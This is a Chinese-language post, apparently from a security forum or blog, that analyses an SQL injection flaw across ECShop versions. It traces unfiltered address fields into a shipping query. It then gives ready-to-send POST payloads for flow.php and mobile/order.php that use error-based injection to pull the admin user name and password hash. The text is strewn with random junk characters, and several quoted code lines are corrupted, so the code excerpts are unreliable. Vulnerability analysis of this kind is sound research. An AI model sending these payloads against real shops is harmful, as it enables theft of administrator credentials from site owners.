ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
- f$ l! }2 L9 b% ]6 F+ u6 T
    漏洞关键文件：
. G' y% y) t) @: R% |! b
    /includes/lib_order.php

8 Z6 L% \( x( z- w- x6 R: I/ k    关键函数：
( [$ s$ m/ v1 m/ H% [3 |


01     function available_shipping_list($region_id_list)

. p7 N+ I: u: X3 V02 {

* z/ P- N: }8 Q03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
9 o3 x! P$ b7 M& y. n
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
  Z2 y) M" f0 f
+ y& O4 k2 U) @' `  ]05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

/ w0 k7 P$ Z5 d  l$ j( u1 m06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
( V& P2 u9 I* J4 A7 t9 \/ B0 w# v  {
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
5 u6 t) g* B( X& P4 s
3 @. \$ u8 @: w- A" O- Q08             'WHERE r.region_id ' . db_create_in($region_id_list) .

% c# V+ n# m* y- j0 t" g( Q; X09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
& O4 Q) R! O+ H" z$ A( y: V
3 R3 y( q) q1 `6 b- o10   
! y  J! W3 u% _) o2 L9 D% E
11     return $GLOBALS['db']->getAll($sql);
% A% E! I( g$ o# ?+ c& J
' }! x+ @3 w! t' f12 }

/ [; a  y# Y' B9 E显然对传入的参数没有任何过滤就带入了查询语句。
, F1 o1 g" r9 H) {- t/ R/ Q
: f0 V9 r+ \: d. \下面我们追踪这个函数在flow.php中：
第531行：   

# Q+ b& k8 p3 V: C& F1 $shipping_list     = available_shipping_list($region);
/ h3 V2 V! k) W" J% f
( I* C  J/ [- c  n) W% P/ r, g
( u  C' L4 Z6 X/ w' N( [

# U9 H9 K+ j& j7 \) u$ u
4 R- A8 B" F, F再对传入变量进行追踪：
5 ~: J6 }2 }" |
第530行：   

$ @( q+ q, `5 T2 t  }1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
* b  ^: K" Z  I# a4 e3 O


/ s( G, G$ D+ F6 C: L3 U9 U% O

第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

3 [1 c# n  _; v0 i+ l+ g/ f: }$ F/includes/lib_order.php
9 j7 M" H" n, m
, L/ t$ t6 ?% C! W1 q3 a- j

9 I, m# g9 Q4 w+ z% _' Q3 @8 E

01 function get_consignee($user_id)
: F9 y4 o  T) H6 L# }# }
02 {

03     if (isset($_SESSION['flow_consignee']))
+ p# c  n3 V& ~; V# E* Q5 R
' m- R. y/ |) b3 i! _' T: i1 V04     {
, C# `. k/ A* @- _- B  e5 J3 Y
& n4 x2 Y5 ^% d( ?0 i% l05         /* 如果存在session，则直接返回session中的收货人信息 */

06   

07         return $_SESSION['flow_consignee'];

; b# Z: X& t: n: a08     }
9 S& |, K* b( e- f1 u* m
09     else

7 r' F. |/ U" E7 Y10     {
2 {5 D$ J" r9 ]3 M! @
11         /* 如果不存在，则取得用户的默认收货人信息 */
- n0 y: |0 p$ U) P
, I$ C+ \2 i. s7 B8 S12         $arr = array();
, O3 [' A6 v" u: n" g' b) ]4 m
13   
- p7 l7 h( v8 P" L2 F, C1 S* r8 G/ a
14         if ($user_id > 0)

, [! l3 g: [: ]15         {

; I$ b, B# q" K% W16             /* 取默认地址 */

17             $sql = "SELECT ua.*".
4 o, ?8 K3 @3 C
0 s8 E7 L) v) A% ~18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   
. \! e% r7 z& b+ i: ~) E) M
21             $arr = $GLOBALS['db']->getRow($sql);
- ~8 f, Y* m$ @' J0 H' Q3 D( J
22         }
$ c0 {6 p& _) N/ M4 ^/ ~, p9 _
23   

5 c: X5 @3 B- k/ I, X7 n& v4 m24         return $arr;
7 L, j! [$ S* v
0 s+ |0 N2 \) T# ^& @25     }

3 _1 I1 o' w& w( T- ^% T: ]8 v26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



2 F, p3 U  r1 P) Z/ \0 p8 S关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 j3 i5 A4 C& R
# w. U0 R" u+ w0 x这里对传入参数反转义存入$_SESSION中。

- d/ S* r: p+ B% u; l

然后看下：


! R; J7 c. }$ _) c
1 k8 w) F5 [+ F1 F   
# @. f# ?* W4 d9 q7 D2 E$ J  S2 l
% R* W# W' v% f4 e01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

; X8 M3 i: G7 n* n/ }2 w5 Z03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
1 F- l& F4 L: t; a
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
+ A3 |9 j; x3 w8 }. K
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
% G) d- Q  y( w
: p" r7 X: C* v( j  _  D7 T06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

' r9 E$ ^/ p; f& Z08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
5 O% c- d3 F. \. o8 l4 X
. m& G7 j  ^0 e8 w. i5 p09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
( X+ C; X0 p2 p* k  s) w3 }. A
/ j" I8 Z1 D: C5 r  A; Z& M6 d: |10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
+ c7 W# Q' V) [0 W
4 R' ~: l) G: h# n11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
+ l! M, `( D$ ~& G$ x% E' |! c3 }
+ g: ?0 ^/ F% _3 g9 _. }. k/ _: k12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
3 |/ G8 k( W! x- }) {) m/ O6 A/ w) q
, R4 G6 y0 o* h1 F13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

0 r2 n' ]; V( Z& J! Z  T14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
6 K+ K4 ]. A/ `
好了注入就这样出现了。
( ?7 q8 [9 x) f- C2 Q
/ F8 {( F$ I. f==================

5 U! ?# }, m/ Z注入测试：

& A) x8 f1 a' b$ t9 W2 \3 C环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106


6 Q0 P( M. v' i/ n8 ]' n% }
1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
, z2 G/ ]' _1 ?1 L  d7 f) ]
1 q2 A. f2 y3 Z3.post提交数据
. N" `% t( m$ S" V0 }) m
, {* y2 T6 [6 ]4 z, u

0 T; R- J% c3 ~& R5 D6 p1 http://127.0.0.1/ecshop/flow.php
9 M: X& C0 j; B1 y0 K
2   
" p7 _: h6 c' T2 d, K* L" C7 C+ d: x
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
* }' x! ?- a1 y4 g0 _( Q6 [$ [
) h) r' q6 Y$ v" x7 G) @我们搜寻关键函数function available_shipping_list()
& y5 G* H+ N. G5 i
+ |# O( _5 O0 a! ~" _% ]( e4 k在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

' d$ H- Q# w8 r: v& O' L& Y- Q7 X0 h利用exp:

* t. r$ R% _9 N3 ^* J0 h+ M# T1.点击一个商品，点击购买商标
+ J1 d" ?$ l/ D1 U% D
2.登录会员帐号

3.post提交：

http://127.0.0.1/ecshop/mobile/order.php
, `8 N( N2 ]6 p& Q
% Q0 i; F" n* m: s4 }+ y

6 @' Z$ }6 t. \6 B2 a: q( ?. Ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=